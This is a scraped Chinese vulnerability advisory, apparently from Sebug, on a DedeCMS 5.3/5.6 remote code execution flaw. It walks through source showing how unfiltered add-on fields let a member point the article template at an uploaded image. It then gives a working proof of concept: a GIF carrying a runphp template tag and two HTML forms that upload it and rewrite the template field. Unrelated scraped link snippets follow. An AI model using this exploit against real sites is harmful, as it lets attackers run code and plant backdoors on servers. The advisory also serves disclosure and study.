漏洞版本:

DEDECMS 5.3/5.6

漏洞描述:

DedeCms 基于PHP+MySQL的技术开发,支持Windows、Linux、Unix等多种服务器平台,从2004年开始发布第一个版本开始,至今已经发布了五个大版本。DedeCms以简单、健壮、灵活、开源几大特点占领了国内CMS的大部份市场,目前已经有超过二十万个站点正在使用DedeCms或居于 DedeCms核心,是目前国内应用最广泛的php类CMS系统。

article_add.php

   1. ........................
2. else if($dopost=='save')
3. {
4. include(DEDEMEMBER.'/inc/archives_check.php');
5.
6. //分析处理附加表数据
7. $inadd_f = $inadd_v = '';
8. if(!emptyempty($dede_addonfields))
9. {
10. $addonfields = explode(';',$dede_addonfields);
11. ............................................ //省略部份代码
12. $inadd_f .= ','.$vs[0];
13. $inadd_v .= " ,'".${$vs[0]}."' ";
14. }
15. }
16. }
17. ..........................................
18. $addtable = trim($cInfos['addtable']);
19. if(emptyempty($addtable))
20. {
21. ......................................
22. }
23. else
24. {
25. $inquery = "INSERT INTO `{$addtable}`(aid,typeid,userip,redirecturl,templet,body{$inadd_f}) Values('$arcID','$typeid','$userip','','','$body'{$inadd_v})";
26. if(!$dsql->ExecuteNoneQuery($inquery))
27. {
28. ..........................................
29. }
30. }
31. ..........................................
32. $artUrl = MakeArt($arcID,true); //利用地方(arc.archives.functions.php有定义)
33.
34.
35. function MakeArt($aid,$ismakesign=false)
36. {
37. global $cfg_makeindex,$cfg_basedir,$cfg_templets_dir,$cfg_df_style;
38. include_once(DEDEINC.'/arc.archives.class.php');
39. if($ismakesign)
40. {
41. $envs['makesign'] = 'yes';
42. }
43. $arc = new Archives($aid);
44. $reurl = $arc->MakeHtml(); //arc.archives.class.php有定义
45. ............................
46. } arc.archives.class.php 1. class Archives
2. {
3. ................
4. function __construct($aid)
5. {
6. ............
7. if($this->ChannelUnit->ChannelInfos['addtable']!='')
8. {
9. $query = "SELECT * FROM `{$this->ChannelUnit->ChannelInfos['addtable']}` WHERE `aid` = '$aid'";
10. $this->addTableRow = $this->dsql->GetOne($query);
11. }
12. ........................
13. if($this->ChannelUnit->ChannelInfos['addtable']!='' && $this->ChannelUnit->ChannelInfos['issystem']!=-1)
14. {
15. if(is_array($this->addTableRow))
16. {
17. ...............................
18. $this->Fields['templet'] = $this->addTableRow['templet'];//注意1
19. ......................................
20. }
21. }
22. .............................
23. }
24.
25. function MakeHtml($isremote=0)
26. {
27. global $cfg_remote_site,$fileFirst;
28. if($this->IsError)
29. {
30. return '';
31. }
32. $this->Fields["displaytype"] = "st";
33. //预编译$th
34. $this->LoadTemplet(); //触发1
35.
36. ......................................//省略部份代码
37. $this->ParseDMFields($i,1);
38. $this->dtp->SaveTo($truefilename); //触发2
39. ......................................
40. }
41. 继续跟(触发1)$this->LoadTemplet(); //arc.archives.class.php有定义
42.
43. function LoadTemplet()
44. {
45. if($this->TempSource=='')
46. {
47. $tempfile = $this->GetTempletFile(); //注意2
48. if(!file_exists($tempfile) || !is_file($tempfile))
49. {
50. echo "文档ID:{$this->Fields['id']} - {$this->TypeLink->TypeInfos['typename']} - {$this->Fields['title']}<br />";
51. echo "模板文件不存在,无法解析文档!";
52. exit();
53. }
54. $this->dtp->LoadTemplate($tempfile); //触发3
55. $this->TempSource = $this->dtp->SourceString;
56. }
57. else
58. {
59. $this->dtp->LoadSource($this->TempSource);
60. }
61. }
62.
63. 看注意2 的$this->GetTempletFile() //arc.archives.class.php有定义
64.
65. function GetTempletFile()
66. {
67. global $cfg_basedir,$cfg_templets_dir,$cfg_df_style;
68. $cid = $this->ChannelUnit->ChannelInfos['nid'];
69. if(!emptyempty($this->Fields['templet'])) //注意3
70. {
71. $filetag = MfTemplet($this->Fields['templet']);
72. if( !ereg('/', $filetag) ) $filetag = $GLOBALS['cfg_df_style'].'/'.$filetag;
73. }
74. else
75. {
76. $filetag = MfTemplet($this->TypeLink->TypeInfos["temparticle"]);
77. }
78. .......................................
79. if($cid=='spec')
80. {
81. if( !emptyempty($this->Fields['templet']) )
82. {
83. $tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;
84. }
85. else
86. {
87. $tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";
88. }
89. }
90. ...........................................
91. return $tmpfile;
92. } 注意3中的值来自注意1是通过查表得来的,控制了它就等于控制了任意模板,然后通过触发3来触发漏洞
看下怎么控制注意1的值
article_edit.php 1. ......................
2. else if($dopost=='save')
3. { ....................
4. if(!emptyempty($dede_addonfields))
5. {
6. $addonfields = explode(';',$dede_addonfields);
7. if(is_array($addonfields))
8. {
9. ........................
10. ${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid);
11. $inadd_f .= ','.$vs[0]." ='".${$vs[0]}."' ";
12.
13. }
14. }
15. ...................
16. if($addtable!='')
17. {
18. $upQuery = "Update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' ";
19. if(!$dsql->ExecuteNoneQuery($upQuery))
20. {..............
21. }
22. }
23. ....................
24. } $dede_addonfields没有过滤,我们可以构造$inadd_f为,templet='上传的模板图片地址',包含我们的图片后,再通过触发2来生成图片里的后门!

测试方法:

@Sebug.net   dis
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
    1. Gif89a{dede:field name='toby57' runphp='yes'}
    2. phpinfo();
    3. {/dede:field}
    4. 保存为1.gif
    5. 1. <form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
    6. 2.<input type="hidden" name="aid" value="7"/>
    7. 3.<input type="hidden" name="mediatype" value="1"/>
    8. 4.<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif"/></br>
    9. 5.<input type="hidden" name="dopost" value="save"/>
    10. 6.<input name="title" type="hidden" id="title" value="1.jpg"class="intxt"/>
    11. 7.<input name="addonfile" type="file" id="addonfile"/>
    12. 8.<button class="button2" type="submit">更改</button>
    13. 9.</form>
    14. 构造如上表单,上传后图片保存为/uploads/userup/3/1.gif
    15. 发表文章,然后构造修改表单如下:
    16. 1.<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
    17. 2.<input type="hidden" name="dopost" value="save"/>
    18. 3.<input type="hidden" name="aid" value="2"/>
    19. 4.<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd"/>
    20. 5.<input type="hidden" name="channelid" value="1"/>
    21. 6.<input type="hidden" name="oldlitpic" value=""/>
    22. 7.<input type="hidden" name="sortrank" value="1282049150"/>
    23. 8.<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100"class="intxt"/>
    24. 9.<input type="text" name="writer" id="writer" value="123456" maxlength="100"class="intxt" style="width:219px"/>
    25. 10.<select name='typeid' size='1'>
    26. 11.<option value='1'class='option3' selected=''>Test</option>
    27. 12. <select name='mtypesid' size='1'>
    28. 13. <option value='0' selected>请选择分类...</option>
    29. 14.<option value='1'class='option3' selected>aa</option></select>
    30. 15.<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
    31. 16. <input type='hidden' name='dede_addonfields' value="templet">
    32. 17. <input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
    33. 18. <input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
    34. 19. <button class="button2" type="submit">提交</button>
    35. 20. </form>

DEDECMS网站管理系统Get Shell漏洞的更多相关文章

  1. 织梦内容管理系统(DedeCms) 小说模块insert注入漏洞

    漏洞版本: Dedecms 漏洞描述: DedeCms是免费的PHP网站内容管理系统. 织梦内容管理系统(DedeCms) 以简单.实用.开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户 ...

  2. 【php】随缘php企业网站管理系统V2.0 shownews.php注入漏洞

    程序名称:随缘网络php企业网站管理系统2.0免费版 以下为系统的功能简介: 1.采用div+css布局经测试兼容IE及firefox主流浏览器,其他浏览器暂未测试. 2.产品新闻三级无限分类. 3. ...

  3. 大部分政府网站U-mail存在直接拿shell漏洞

    大部分网站政府网站U-mail存在直接拿shell漏洞加入webmail/userapply.php?execadd=333&DomainID=111直接爆出物理地址 然后将 aa' unio ...

  4. 织梦dedecms网站六大SEO优化技巧(转帖)

    一个排名好的网站离不开好的cms,当然不同cms各有各的好处,因此我们在上线新网站的时候,要针对不同的情况因地制宜,选择不同的网站管理系统来做seo优化,现在使用比较流行的cms是织梦dedecms, ...

  5. DEDECMS去除后门隐患和漏洞以及冗余代码的方法

    链接:http://jingyan.baidu.com/article/4d58d541195bdb9dd4e9c029.html 工具/原料 织梦网站管理系统 sublime编辑器 方法/步骤 第一 ...

  6. 多年前写的一个ASP.NET网站管理系统,到现在有些公司在用

    多年前写的一个ASP.NET网站管理系统,到现在有些公司在用 今早上接到一个电话,自已多年前写的一个ASP.NET网站管理系统,一个公司在用,出了点问题, 第一点是惊奇,5,6年前的东东,手机号码换了 ...

  7. 为什么主流网站无法捕获 XSS 漏洞?

    二十多年来,跨站脚本(简称 XSS)漏洞一直是主流网站的心头之痛.为什么过了这么久,这些网站还是对此类漏洞束手无策呢? 对于最近 eBay 网站曝出的跨站脚本漏洞,你有什么想法?为什么会出现这样的漏网 ...

  8. 织梦DedeCMS网站地图模板

    亲和百度蜘蛛,分页多层次特色,织梦系统最好用的网站地图! 用 DedeCMS(织梦) 系统搭建的网站多数都是以优化为主要目标的网站类型,既然是优化站 SEO 手段就离不开为网站设置网站地图.可是 De ...

  9. dedecms网站文章标题与简标题的调用问题

    使用dedecms调用标签的时候,既然有,咱们就合理利用,如果没有,咱也可以自己去添加.以下介绍dedecms网站文章标题调用的一些技巧,希望大家能够合理运用. dedecms网站文章标题与简标题的调 ...

随机推荐

  1. git的使用总结【干货·转载】

    源文地址:https://juejin.im/post/5a54386af265da3e3b7a6317 摘抄: 版本树 / graph / network 干净简洁清晰 提交信息明确 易维护易读 举 ...

  2. Python教程(一)Python简介

    Python就为我们提供了非常完善的基础代码库,覆盖了网络.文件.GUI.数据库.文本等大量内容,被形象地称作“内置电池(batteries included)”.用Python开发,许多功能不必从零 ...

  3. WPF常用控件样式( 内含一简单插件式开发示例)

    最近离职,离职前面的一份外派然后又外包的工作,总觉得不妥,之后外派的办个入职手续都一再失约,干脆推了.恰逢清明时节,暴雨纷纷,于是打算先休息休息调整下状态,工作的事情还是谨慎点的好,免得影响心情.话说 ...

  4. codevs 5294 挖地雷

    5294 挖地雷  时间限制: 1 s  空间限制: 1000 KB  题目等级 : 黄金 Gold   题目描述 Description 在一个地图上有N个地窖(N<=20),每个地窖中埋有一 ...

  5. [BZOJ3676][APIO2014]回文串(Manacher+SAM)

    3676: [Apio2014]回文串 Time Limit: 20 Sec  Memory Limit: 128 MBSubmit: 3097  Solved: 1408[Submit][Statu ...

  6. [BZOJ4868][六省联考2017]期末考试(三分)

    4868: [Shoi2017]期末考试 Time Limit: 20 Sec  Memory Limit: 512 MBSubmit: 964  Solved: 439[Submit][Status ...

  7. 埃及分数 a* 搜索 知识点mark

    题意 在古埃及,人们使用单位分数的和(即1/a,a是自然数)表示一切有理 数. 例如,2/3=1/2+1/6,但不允许2/3=1/3+1/3,因为在加数中不允许有相同的. 对于一个分数a/b,表示方法 ...

  8. python3-开发进阶Flask的基础(5)

    内容概要: SQLAlchemy flsak-sqlalchemy flask-script flask-migrate Flask的目录结构 一.SQLAlchemy 1.概述 SQLAlchemy ...

  9. DP经典 BZOJ 1584: [Usaco2009 Mar]Cleaning Up 打扫卫生

    BZOJ 1584: [Usaco2009 Mar]Cleaning Up 打扫卫生 Time Limit: 10 Sec  Memory Limit: 64 MBSubmit: 419  Solve ...

  10. 五、python的练习题

    1.输入一行字符,分别统计出其中英文字母.空格.数字和其他字符的个数. #!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2018/6/5 ...